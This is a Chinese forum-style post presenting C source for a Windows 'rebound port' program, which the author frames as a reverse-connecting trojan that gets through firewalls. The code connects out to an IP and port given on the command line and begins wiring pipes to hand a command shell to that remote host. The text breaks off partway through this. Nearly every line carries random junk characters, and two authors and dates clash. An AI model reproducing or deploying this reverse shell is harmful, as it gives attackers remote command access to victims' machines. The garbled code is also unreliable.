这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !BuJC$
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Rebound port in Windows NT bvS\P!m\c
By wind,2006/7 -f|^}j?
===============================*/ 6FIoWG"x
#include (G%gVk]
#include @<yc .>
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#pragma comment(lib,"wsock32.lib") {59VS
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void OutputShell(); 7h&`BS
SOCKET sClient; =1OAy`8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `4$Qv'X*
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void main(int argc,char **argv) tF g'RV{
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WSADATA stWsaData; -JhjTA
int nRet; rIfGmh%H
SOCKADDR_IN stSaiClient,stSaiServer; 3=|2Gs?ut
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if(argc != 3) k+r9h'd
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printf("Useage:\n\rRebound DestIP DestPort\n"); (My$@l973
return; )u )$ `a
} a:^Gr%
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WSAStartup(MAKEWORD(2,2),&stWsaData); UQ?OD~7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O0(Q0Ko
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stSaiClient.sin_family = AF_INET; bd
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stSaiClient.sin_port = htons(0); pH l2!{z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J[Yg]6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3?Eoj95w!
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printf("Bind Socket Failed!\n"); xm,`4WdG
return; ?-:: {2O)
} ,ibPSN5Ca
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stSaiServer.sin_family = AF_INET; ^0tf1pV2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [aM'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oBNX8%5w
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W
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printf("Connect Error!"); jy(+
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return; W6Aj<{\F
} )x8;.@U
OutputShell(); d1TdH s\
} ?X#/1X%u:
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void OutputShell() :EmQ_?( ^
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char szBuff[1024]; Z 5)_B,E:X
SECURITY_ATTRIBUTES stSecurityAttributes; 'uKkl(==%
OSVERSIONINFO stOsversionInfo; BF@5&>E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %t~SOkx
STARTUPINFO stStartupInfo; 3 IWLBc
char *szShell; oO#xx)b
PROCESS_INFORMATION stProcessInformation; x* =sRf
unsigned long lBytesRead; _))I.c=v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O b8B
stSecurityAttributes.lpSecurityDescriptor = 0; sCF40AoY&
stSecurityAttributes.bInheritHandle = TRUE; %h" qMs S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2sqm7th
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &